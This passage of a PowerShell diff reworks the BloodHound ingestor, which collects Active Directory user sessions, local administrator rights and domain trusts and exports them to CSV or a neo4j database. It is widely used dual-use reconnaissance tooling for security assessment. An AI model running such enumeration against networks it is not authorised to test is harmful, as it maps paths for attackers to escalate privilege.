"$OutputFolder\$($CSVExportPrefix)group_memberships.csv" - } - else { - # otherwise there's no way to determine if this is a computer object or not - $Properties = @{ - AccountName = $AccountName - AccountType = 'user' - GroupName = $GroupName - } - New-Object PSObject -Property $Properties | Export-PowerViewCSV -OutFile "$OutputFolder\$($CSVExportPrefix)group_memberships.csv" + $ComputerSearcher.Dispose() + [GC]::Collect() } } } - elseif($Object.PSObject.TypeNames -Contains 'PowerView.User') { - $AccountDomain = $Object.Domain - $AccountName = "$($Object.SamAccountName)@$AccountDomain" - - if($Object.PrimaryGroupName -and ($Object.PrimaryGroupName -ne '')) { - $PrimaryGroupName = "$($Object.PrimaryGroupName)@$AccountDomain" + } - $Properties = @{ - AccountName = $AccountName - AccountType = 'user' - GroupName = $PrimaryGroupName - } - New-Object PSObject -Property $Properties | Export-PowerViewCSV -OutFile "$OutputFolder\$($CSVExportPrefix)group_memberships.csv" - } - # TODO: extract pwdlastset/etc. and ingest - } - elseif(($Object.PSObject.TypeNames -contains 'PowerView.LocalUserAPI') -or ($Object.PSObject.TypeNames -contains 'PowerView.LocalUser')) { - $AccountName = $($Object.AccountName.replace('/', '\')).split('\')[-1] + END { - $MemberSimpleName = Convert-SidToName -SID $Object.SID | Convert-ADName -InputType 'NT4' -OutputType 'Canonical' + if ($TargetDomains -and (-not $SkipComputerEnumeration)) { + Write-Verbose "Waiting for Invoke-BloodHound threads to finish..." + Start-Sleep -Seconds 30 - if($MemberSimpleName) { - $MemberDomain = $MemberSimpleName.Split('/')[0] - } - else { - $MemberDomain = "UNKNOWN" - } + for ($y = 0; $y -lt $Counter; $y++) { + if($Jobs[$y] -and ($Jobs[$y].IsCompleted)) { + try { + # complete async job + $PS[$y].EndInvoke($Jobs[$y]) | ForEach-Object { + if($_['Type'] -eq 'UserSession') { + if($_['SessionFromName']) { + try { + $SessionFromName = $_['SessionFromName'] + $UserName = $_['UserName'].ToUpper() + $ComputerDomain = $_['SessionFromName'].SubString($_['SessionFromName'].IndexOf('.')+1).ToUpper() + + if($UserDomainMappings) { + $UserDomain = $Null + if($UserDomainMappings[$UserName]) { + if($UserDomainMappings[$UserName].Count -eq 1) { + $UserDomain = $UserDomainMappings[$UserName] + $LoggedOnUser = "$UserName@$UserDomain" + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"1`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '1'}]->(user)" } ) + } + } + else { + $ComputerDomain = $_['SessionFromName'].SubString($_['SessionFromName'].IndexOf('.')+1).ToUpper() + + $UserDomainMappings[$UserName] | ForEach-Object { + # for multiple GC results, set a weight of 1 for the same domain as the target computer + if($_ -eq $ComputerDomain) { + $UserDomain = $_ + $LoggedOnUser = "$UserName@$UserDomain" + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"1`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '1'}]->(user)" } ) + } + } + # and set a weight of 2 for all other users in additional domains + else { + $UserDomain = $_ + $LoggedOnUser = "$UserName@$UserDomain" + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)" } ) + } + } + } + } + } + else { + # no user object in the GC with this username, so set the domain to "UNKNOWN" + $LoggedOnUser = "$UserName@UNKNOWN" + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)" } ) + } + } + } + else { + # if not using GC mappings, set the weight to 2 + $LoggedOnUser = "$UserName@$ComputerDomain" + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)"} ) + } + } + } + catch { + Write-Warning "Error extracting domain from $SessionFromName" + } + } + elseif($_['SessionFrom']) { + $SessionFromName = $_['SessionFrom'] + $LoggedOnUser = "$($_['UserName'])@UNKNOWN" + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER(`"$LoggedOnUser`") }) MERGE (computer:Computer { name: UPPER(`"$SessionFromName`") }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)"} ) + } + } + else { + # assume Get-NetLoggedOn result + $UserDomain = $_['UserDomain'] + $UserName = $_['UserName'] + try { + if($DomainShortnameMappings[$UserDomain]) { + # in case the short name mapping is 'cached' + $AccountName = "$UserName@$($DomainShortnameMappings[$UserDomain])" + } + else { + $MemberSimpleName = "$UserDomain\$UserName" | Convert-ADName -InputType 'NT4' -OutputType 'Canonical' - $AccountName = "$AccountName@$MemberDomain" + if($MemberSimpleName) { + $MemberDomain = $MemberSimpleName.Split('/')[0] + $AccountName = "$UserName@$MemberDomain" + $DomainShortnameMappings[$UserDomain] = $MemberDomain + } + else { + $AccountName = "$UserName@UNKNOWN" + } + } - if($Object.IsGroup) { - $Properties = @{ - AccountName = $AccountName - AccountType = 'group' - ComputerName = $Object.ComputerName - } - New-Object PSObject -Property $Properties | Export-PowerViewCSV -OutFile "$OutputFolder\$($CSVExportPrefix)local_admins.csv" - } - else { - $Properties = @{ - AccountName = $AccountName - AccountType = 'user' - ComputerName = $Object.ComputerName - } - New-Object PSObject -Property $Properties | Export-PowerViewCSV -OutFile "$OutputFolder\$($CSVExportPrefix)local_admins.csv" - } - } - elseif($Object.PSObject.TypeNames -contains 'PowerView.LocalUserSpecified') { - # manually specified localgroup membership where resolution happens by the callee + $SessionFromName = $_['ComputerName'] - $AccountName = "$($Object.MemberName)@$($Object.MemberDomain)" + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $SessionWriter.WriteLine("`"$SessionFromName`",`"$AccountName`",`"1`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '1'}]->(user)" } ) + } + } + catch { + Write-Verbose "Error converting $UserDomain\$UserName : $_" + } + } + } + elseif($_['Type'] -eq 'LocalUser') { + $Parts = $_['AccountName'].split('\') + $UserDomain = $Parts[0] + $UserName = $Parts[-1] + + if($DomainShortnameMappings[$UserDomain]) { + # in case the short name mapping is 'cached' + $AccountName = "$UserName@$($DomainShortnameMappings[$UserDomain])" + } + else { + $MemberSimpleName = "$UserDomain\$UserName" | Convert-ADName -InputType 'NT4' -OutputType 'Canonical' - if($Object.IsGroup) { - $Properties = @{ - AccountName = $AccountName - AccountType = 'group' - ComputerName = $Object.ComputerName - } - New-Object PSObject -Property $Properties | Export-PowerViewCSV -OutFile "$OutputFolder\$($CSVExportPrefix)local_admins.csv" - } - else { - $Properties = @{ - AccountName = $AccountName - AccountType = 'user' - ComputerName = $Object.ComputerName - } - New-Object PSObject -Property $Properties | Export-PowerViewCSV -OutFile "$OutputFolder\$($CSVExportPrefix)local_admins.csv" - } - } - elseif($Object.PSObject.TypeNames -contains 'PowerView.GPOLocalGroup') { - if(![string]::IsNullOrEmpty($Object.SID)){ - $MemberSimpleName = Convert-SidToName -SID $Object.ObjectSID | Convert-ADName -InputType 'NT4' -OutputType 'Canonical' - } + if($MemberSimpleName) { + $MemberDomain = $MemberSimpleName.Split('/')[0] + $AccountName = "$UserName@$MemberDomain" + $DomainShortnameMappings[$UserDomain] = $MemberDomain + } + else { + $AccountName = "$UserName@UNKNOWN" + } + } - if($MemberSimpleName) { - $MemberDomain = $MemberSimpleName.Split('/')[0] - $AccountName = "$($Object.ObjectName)@$MemberDomain" - } - else { - $AccountName = $Object.ObjectName - } + $ComputerName = $_['ComputerName'] + if($_['IsGroup']) { + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $LocalAdminWriter.WriteLine("`"$ComputerName`",`"$AccountName`",`"group`"") + } + else { + $Null = $Statements.Add( @{ "statement"="MERGE (group:Group { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$ComputerName') }) MERGE (group)-[:AdminTo]->(computer)" } ) + } + } + else { + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $LocalAdminWriter.WriteLine("`"$ComputerName`",`"$AccountName`",`"user`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$ComputerName') }) MERGE (user)-[:AdminTo]->(computer)" } ) + } + } + } - ForEach($Computer in $Object.ComputerName) { - if($Object.IsGroup) { - $Properties = @{ - AccountName = $AccountName - AccountType = 'group' - ComputerName = $Computer + if (($PSCmdlet.ParameterSetName -eq 'RESTAPI') -and ($Statements.Count -ge $Throttle)) { + $Json = @{ "statements"=[System.Collections.Hashtable[]]$Statements } + $JsonRequest = ConvertTo-Json20 $Json + $Null = $WebClient.UploadString($URI.AbsoluteUri + "db/data/transaction/commit", $JsonRequest) + $Statements.Clear() + } + } } - New-Object PSObject -Property $Properties | Export-PowerViewCSV -OutFile "$OutputFolder\$($CSVExportPrefix)local_admins.csv" - } - else { - $Properties = @{ - AccountName = $AccountName - AccountType = 'user' - ComputerName = $Computer + catch { + Write-Verbose "Error ending Invoke-BloodHound thread $y : $_" + } + finally { + $PS[$y].Dispose() + $PS[$y] = $Null + $Jobs[$y] = $Null } - New-Object PSObject -Property $Properties | Export-PowerViewCSV -OutFile "$OutputFolder\$($CSVExportPrefix)local_admins.csv" } } + $Pool.Dispose() + Write-Verbose "All threads completed!" } - elseif($Object.PSObject.TypeNames -contains 'PowerView.DomainTrustLDAP') { - # [uint32]'0x00000001' = 'non_transitive' - # [uint32]'0x00000002' = 'uplevel_only' - # [uint32]'0x00000004' = 'quarantined_domain' - # [uint32]'0x00000008' = 'forest_transitive' - # [uint32]'0x00000010' = 'cross_organization' - # [uint32]'0x00000020' = 'within_forest' - # [uint32]'0x00000040' = 'treat_as_external' - # [uint32]'0x00000080' = 'trust_uses_rc4_encryption' - # [uint32]'0x00000100' = 'trust_uses_aes_keys' - # [uint32]'0x00000200' = 'cross_organization_no_tgt_delegation' - # [uint32]'0x00000400' = 'pim_trust' - if($Object.SourceDomain) { - $SourceDomain = $Object.SourceDomain - } - else { - $SourceDomain = $Object.SourceName - } - if($Object.TargetDomain) { - $TargetDomain = $Object.TargetDomain - } - else { - $TargetDomain = $Object.TargetName - } - - $TrustType = Switch ($Object.TrustType) { - 'cross_organization' { 'CrossLink' } - 'within_forest' { 'ParentChild' } - 'forest_transitive' { 'Forest' } - 'treat_as_external' { 'External' } - 'Default' { 'Unknown' } - } - - if ($Object.TrustType -match 'non_transitive') { - $Transitive = $False - } - else { - $Transitive = $True - } - - $Properties = @{ - SourceDomain = $SourceDomain - TargetDomain = $TargetDomain - TrustDirection = $Object.TrustDirection - TrustType = $TrustType - Transitive = "$Transitive" - } - New-Object PSObject -Property $Properties | Export-PowerViewCSV -OutFile "$OutputFolder\$($CSVExportPrefix)trusts.csv" - } - elseif($Object.PSObject.TypeNames -contains 'PowerView.DomainTrust') { - if($Object.SourceDomain) { - $SourceDomain = $Object.SourceDomain - } - else { - $SourceDomain = $Object.SourceName - } - if($Object.TargetDomain) { - $TargetDomain = $Object.TargetDomain - } - else { - $TargetDomain = $Object.TargetName - } - $Properties = @{ - SourceDomain = $SourceDomain - TargetDomain = $TargetDomain - TrustDirection = $Object.TrustDirection - TrustType = $Object.TrustType - Transitive = "$True" - } - New-Object PSObject -Property $Properties | Export-PowerViewCSV -OutFile "$OutputFolder\$($CSVExportPrefix)trusts.csv" - } - elseif($Object.PSObject.TypeNames -contains 'PowerView.ForestTrust') { - if($Object.SourceDomain) { - $SourceDomain = $Object.SourceDomain + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + if($SessionWriter) { + $SessionWriter.Dispose() + $SessionFileStream.Dispose() } - else { - $SourceDomain = $Object.SourceName + if($GroupWriter) { + $GroupWriter.Dispose() + $GroupFileStream.Dispose() } - if($Object.TargetDomain) { - $TargetDomain = $Object.TargetDomain + + if($LocalAdminWriter) { + $LocalAdminWriter.Dispose() + $LocalAdminFileStream.Dispose() } - else { - $TargetDomain = $Object.TargetName + if($TrustWriter) { + $TrustWriter.Dispose() + $TrustsFileStream.Dispose() } - $Properties = @{ - SourceDomain = $SourceDomain - TargetDomain = $TargetDomain - TrustDirection = $Object.TrustDirection - TrustType = 'Forest' - Transitive = "$True" - } - New-Object PSObject -Property $Properties | Export-PowerViewCSV -OutFile "$OutputFolder\$($CSVExportPrefix)trusts.csv" + Write-Output "Done writing output to CSVs in: $OutputFolder\$CSVExportPrefix" } else { - Write-Verbose "No matching type name" + $Json = @{ "statements"=[System.Collections.Hashtable[]]$Statements } + $JsonRequest = ConvertTo-Json20 $Json + $Null = $WebClient.UploadString($URI.AbsoluteUri + "db/data/transaction/commit", $JsonRequest) + $Statements.Clear() + Write-Output "Done sending output to neo4j RESTful API interface at: $($URI.AbsoluteUri)" } + + [GC]::Collect() } } @@ -14701,62 +5754,14 @@ $Mod = New-InMemoryModule -ModuleName Win32 # all of the Win32 API functions we need $FunctionDefinitions = @( - (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())), (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())), (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), - (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError), - (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError), - (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), - (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), - (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), - (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), - (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), - (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), - (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])) + (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError) ) -# enum used by $WTS_SESSION_INFO_1 below -$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{ - Active = 0 - Connected = 1 - ConnectQuery = 2 - Shadow = 3 - Disconnected = 4 - Idle = 5 - Listen = 6 - Reset = 7 - Down = 8 - Init = 9 -} - -# the WTSEnumerateSessionsEx result structure -$WTS_SESSION_INFO_1 = struct $Mod WTS_SESSION_INFO_1 @{ - ExecEnvId = field 0 UInt32 - State = field 1 $WTSConnectState - SessionId = field 2 UInt32 - pSessionName = field 3 String -MarshalAs @('LPWStr') - pHostName = field 4 String -MarshalAs @('LPWStr') - pUserName = field 5 String -MarshalAs @('LPWStr') - pDomainName = field 6 String -MarshalAs @('LPWStr') - pFarmName = field 7 String -MarshalAs @('LPWStr') -} - -# the particular WTSQuerySessionInformation result structure -$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{ - AddressFamily = field 0 UInt32 - Address = field 1 Byte[] -MarshalAs @('ByValArray', 20) -} - -# the NetShareEnum result structure -$SHARE_INFO_1 = struct $Mod SHARE_INFO_1 @{ - shi1_netname = field 0 String -MarshalAs @('LPWStr') - shi1_type = field 1 UInt32 - shi1_remark = field 2 String -MarshalAs @('LPWStr') -} # the NetWkstaUserEnum result structure $WKSTA_USER_INFO_1 = struct $Mod WKSTA_USER_INFO_1 @{ @@ -14834,4 +5839,5 @@ $DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{ $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' $Netapi32 = $Types['netapi32'] $Advapi32 = $Types['advapi32'] -$Wtsapi32 = $Types['wtsapi32'] + +Set-Alias Get-BloodHoundData Invoke-BloodHound